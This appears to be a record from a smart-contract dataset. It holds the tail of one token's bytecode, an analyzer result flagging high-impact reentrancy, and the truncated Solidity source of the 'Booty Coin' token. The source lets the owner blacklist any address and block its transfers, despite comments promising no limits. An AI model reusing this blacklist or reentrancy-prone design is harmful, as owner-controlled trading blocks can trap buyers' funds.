ffffffffffffffffffffffffffffffffffff16905090565b610d9161165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e15906132a9565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f494e555641440000000000000000000000000000000000000000000000000000815250905090565b610e8661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a906132a9565b60405180910390fd5b8060188190555050565b610f2561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa9906132a9565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000610fe8610fe161165d565b848461182e565b6001905092915050565b610ffa61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e906132a9565b60405180910390fd5b8060168190555050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f261165d565b73ffffffffffffffffffffffffffffffffffffffff1614806111685750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661115061165d565b73ffffffffffffffffffffffffffffffffffffffff16145b61117157600080fd5b600061117c30610b9e565b9050611187816121ef565b50565b61119261165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461121f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611216906132a9565b60405180910390fd5b60005b838390508110156112be578160056000868685818110611245576112446132c9565b5b905060200201602081019061125a9190613048565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806112b690613327565b915050611222565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61135361165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d7906132a9565b60405180910390fd5b8060178190555050565b6113f261165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611476906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e5906133e1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115b361165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611640576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611637906132a9565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90613505565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118219190612f79565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613597565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613629565b60405180910390fd5b6000811161194f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611946906136bb565b60405180910390fd5b611957610d60565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119c55750611995610d60565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db057601560149054906101000a900460ff16611a54576119e6610d60565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a9061374d565b60405180910390fd5b5b601654811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a90906137b9565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b3d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b739061384b565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c295760175481611bde84610b9e565b611be8919061386b565b10611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90613933565b60405180910390fd5b5b6000611c3430610b9e565b9050600060185482101590506016548210611c4f5760165491505b808015611c67575060158054906101000a900460ff16155b8015611cc15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd95750601560169054906101000a900460ff165b8015611d2f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d855750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611dad57611d93826121ef565b60004790506000811115611dab57611daa47612115565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f18576000905061209f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fdb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209e57600a54600c81905550600b54600d819055505b5b6120ab84848484612466565b50505050565b60008383111582906120f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f09190612e22565b60405180910390fd5b50600083856121089190613953565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561217d573d6000803e3d6000fd5b5050565b60006006548211156121c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bf906139f9565b60405180910390fd5b60006121d2612493565b90506121e781846124be90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222657612225612bb0565b5b6040519080825280602002602001820160405280156122545781602001602082028036833780820191505090505b509050308160008151811061226c5761226b6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612313573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123379190613a2e565b8160018151811061234b5761234a6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611665565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612416959493929190613b54565b600060405180830381600087803b15801561243057600080fd5b505af1158015612444573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061247457612473612508565b5b61247f848484612545565b8061248d5761248c612710565b5b50505050565b60008060006124a0612724565b915091506124b781836124be90919063ffffffff16565b9250505090565b600061250083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612783565b905092915050565b6000600c5414801561251c57506000600d54145b61254357600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612557876127e6565b9550955095509550955095506125b586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612696816128f6565b6126a084836129b3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126fd9190612f79565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000678ac7230489e800009050612758678ac7230489e800006006546124be90919063ffffffff16565b82101561277657600654678ac7230489e8000093509350505061277f565b81819350935050505b9091565b600080831182906127ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c19190612e22565b60405180910390fd5b50600083856127d99190613bdd565b9050809150509392505050565b60008060008060008060008060006128038a600c54600d546129ed565b9250925092506000612813612493565b905060008060006128268e878787612a83565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061289083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b1565b905092915050565b60008082846128a7919061386b565b9050838110156128ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e390613c5a565b60405180910390fd5b8091505092915050565b6000612900612493565b905060006129178284612b0c90919063ffffffff16565b905061296b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129c88260065461284e90919063ffffffff16565b6006819055506129e38160075461289890919063ffffffff16565b6007819055505050565b600080600080612a196064612a0b888a612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a436064612a35888b612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a6c82612a5e858c61284e90919063ffffffff16565b61284e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a9c8589612b0c90919063ffffffff16565b90506000612ab38689612b0c90919063ffffffff16565b90506000612aca8789612b0c90919063ffffffff16565b90506000612af382612ae5858761284e90919063ffffffff16565b61284e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612b1e5760009050612b80565b60008284612b2c9190613c7a565b9050828482612b3b9190613bdd565b14612b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7290613d46565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be882612b9f565b810181811067ffffffffffffffff82111715612c0757612c06612bb0565b5b80604052505050565b6000612c1a612b86565b9050612c268282612bdf565b919050565b600067ffffffffffffffff821115612c4657612c45612bb0565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8782612c5c565b9050919050565b612c9781612c7c565b8114612ca257600080fd5b50565b600081359050612cb481612c8e565b92915050565b6000612ccd612cc884612c2b565b612c10565b90508083825260208201905060208402830185811115612cf057612cef612c57565b5b835b81811015612d195780612d058882612ca5565b845260208401935050602081019050612cf2565b5050509392505050565b600082601f830112612d3857612d37612b9a565b5b8135612d48848260208601612cba565b91505092915050565b600060208284031215612d6757612d66612b90565b5b600082013567ffffffffffffffff811115612d8557612d84612b95565b5b612d9184828501612d23565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612dd4578082015181840152602081019050612db9565b83811115612de3576000848401525b50505050565b6000612df482612d9a565b612dfe8185612da5565b9350612e0e818560208601612db6565b612e1781612b9f565b840191505092915050565b60006020820190508181036000830152612e3c8184612de9565b905092915050565b6000819050919050565b612e5781612e44565b8114612e6257600080fd5b50565b600081359050612e7481612e4e565b92915050565b60008060408385031215612e9157612e90612b90565b5b6000612e9f85828601612ca5565b9250506020612eb085828601612e65565b9150509250929050565b60008115159050919050565b612ecf81612eba565b82525050565b6000602082019050612eea6000830184612ec6565b92915050565b6000819050919050565b6000612f15612f10612f0b84612c5c565b612ef0565b612c5c565b9050919050565b6000612f2782612efa565b9050919050565b6000612f3982612f1c565b9050919050565b612f4981612f2e565b82525050565b6000602082019050612f646000830184612f40565b92915050565b612f7381612e44565b82525050565b6000602082019050612f8e6000830184612f6a565b92915050565b600080600060608486031215612fad57612fac612b90565b5b6000612fbb86828701612ca5565b9350506020612fcc86828701612ca5565b9250506040612fdd86828701612e65565b9150509250925092565b600060ff82169050919050565b612ffd81612fe7565b82525050565b60006020820190506130186000830184612ff4565b92915050565b61302781612c7c565b82525050565b6000602082019050613042600083018461301e565b92915050565b60006020828403121561305e5761305d612b90565b5b600061306c84828501612ca5565b91505092915050565b61307e81612eba565b811461308957600080fd5b50565b60008135905061309b81613075565b92915050565b6000602082840312156130b7576130b6612b90565b5b60006130c58482850161308c565b91505092915050565b6000602082840312156130e4576130e3612b90565b5b60006130f284828501612e65565b91505092915050565b6000806000806080858703121561311557613114612b90565b5b600061312387828801612e65565b945050602061313487828801612e65565b935050604061314587828801612e65565b925050606061315687828801612e65565b91505092959194509250565b600080fd5b60008083601f84011261317d5761317c612b9a565b5b8235905067ffffffffffffffff81111561319a57613199613162565b5b6020830191508360208202830111156131b6576131b5612c57565b5b9250929050565b6000806000604084860312156131d6576131d5612b90565b5b600084013567ffffffffffffffff8111156131f4576131f3612b95565b5b61320086828701613167565b935093505060206132138682870161308c565b9150509250925092565b6000806040838503121561323457613233612b90565b5b600061324285828601612ca5565b925050602061325385828601612ca5565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613293602083612da5565b915061329e8261325d565b602082019050919050565b600060208201905081810360008301526132c281613286565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061333282612e44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613364576133636132f8565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133cb602683612da5565b91506133d68261336f565b604082019050919050565b600060208201905081810360008301526133fa816133be565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061345d602483612da5565b915061346882613401565b604082019050919050565b6000602082019050818103600083015261348c81613450565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006134ef602283612da5565b91506134fa82613493565b604082019050919050565b6000602082019050818103600083015261351e816134e2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613581602583612da5565b915061358c82613525565b604082019050919050565b600060208201905081810360008301526135b081613574565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613613602383612da5565b915061361e826135b7565b604082019050919050565b6000602082019050818103600083015261364281613606565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136a5602983612da5565b91506136b082613649565b604082019050919050565b600060208201905081810360008301526136d481613698565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613737603f83612da5565b9150613742826136db565b604082019050919050565b600060208201905081810360008301526137668161372a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137a3601c83612da5565b91506137ae8261376d565b602082019050919050565b600060208201905081810360008301526137d281613796565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613835602383612da5565b9150613840826137d9565b604082019050919050565b6000602082019050818103600083015261386481613828565b9050919050565b600061387682612e44565b915061388183612e44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138b6576138b56132f8565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061391d602383612da5565b9150613928826138c1565b604082019050919050565b6000602082019050818103600083015261394c81613910565b9050919050565b600061395e82612e44565b915061396983612e44565b92508282101561397c5761397b6132f8565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139e3602a83612da5565b91506139ee82613987565b604082019050919050565b60006020820190508181036000830152613a12816139d6565b9050919050565b600081519050613a2881612c8e565b92915050565b600060208284031215613a4457613a43612b90565b5b6000613a5284828501613a19565b91505092915050565b6000819050919050565b6000613a80613a7b613a7684613a5b565b612ef0565b612e44565b9050919050565b613a9081613a65565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613acb81612c7c565b82525050565b6000613add8383613ac2565b60208301905092915050565b6000602082019050919050565b6000613b0182613a96565b613b0b8185613aa1565b9350613b1683613ab2565b8060005b83811015613b47578151613b2e8882613ad1565b9750613b3983613ae9565b925050600181019050613b1a565b5085935050505092915050565b600060a082019050613b696000830188612f6a565b613b766020830187613a87565b8181036040830152613b888186613af6565b9050613b97606083018561301e565b613ba46080830184612f6a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613be882612e44565b9150613bf383612e44565b925082613c0357613c02613bae565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c44601b83612da5565b9150613c4f82613c0e565b602082019050919050565b60006020820190508181036000830152613c7381613c37565b9050919050565b6000613c8582612e44565b9150613c9083612e44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cc957613cc86132f8565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d30602183612da5565b9150613d3b82613cd4565b604082019050919050565b60006020820190508181036000830152613d5f81613d23565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201c8d4cb6aae2bf4ac22a16b24e759e43b912b68d1514515bb6be12aa001b697164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,318 |
0x35905D845517e07081553a2bc22E041719335E41
|
/**
*Submitted for verification at Etherscan.io on 2021-12-11
*/
// SPDX-License-Identifier: Unlicensed
// Telegram: https://t.me/BootyCoin
// Tax Buy/Sell: 12%
// 6% Marketing & Project Development
// 3% Auto Liquidity
// 3% Buy Back
// No wallet hold limits
// No buy/sell limits
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BOOTY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private setTax;
uint256 private setRedis;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Booty Coin";
string private constant _symbol = "BOOTY";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2,address payable _add3) {
_feeAddrWallet1 = _add1;
_feeAddrWallet2 = _add2;
_feeAddrWallet3 = _add3;
_rOwned[_feeAddrWallet1] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), _feeAddrWallet1, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = setRedis;
_feeAddr2 = setTax;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > _tTotal/1000){
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 toSend = amount/3;
_feeAddrWallet1.transfer(toSend);
_feeAddrWallet2.transfer(toSend);
_feeAddrWallet3.transfer(toSend);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
setTax = 12;
setRedis = 2;
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function removeBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
